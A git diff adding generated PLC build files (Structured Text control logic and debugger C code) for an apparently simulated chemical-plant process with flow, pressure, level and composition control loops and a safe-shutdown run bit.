scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 new file mode 100644 index 0000000..696d5fd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +81603cc6aa5246c5832cb83ffc8de1bd \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st new file mode 100644 index 0000000..a0d6f59 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st @@ -0,0 +1,573 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c new file mode 100644 index 0000000..a53d9ea --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c @@ -0,0 +1,730 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1029 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, 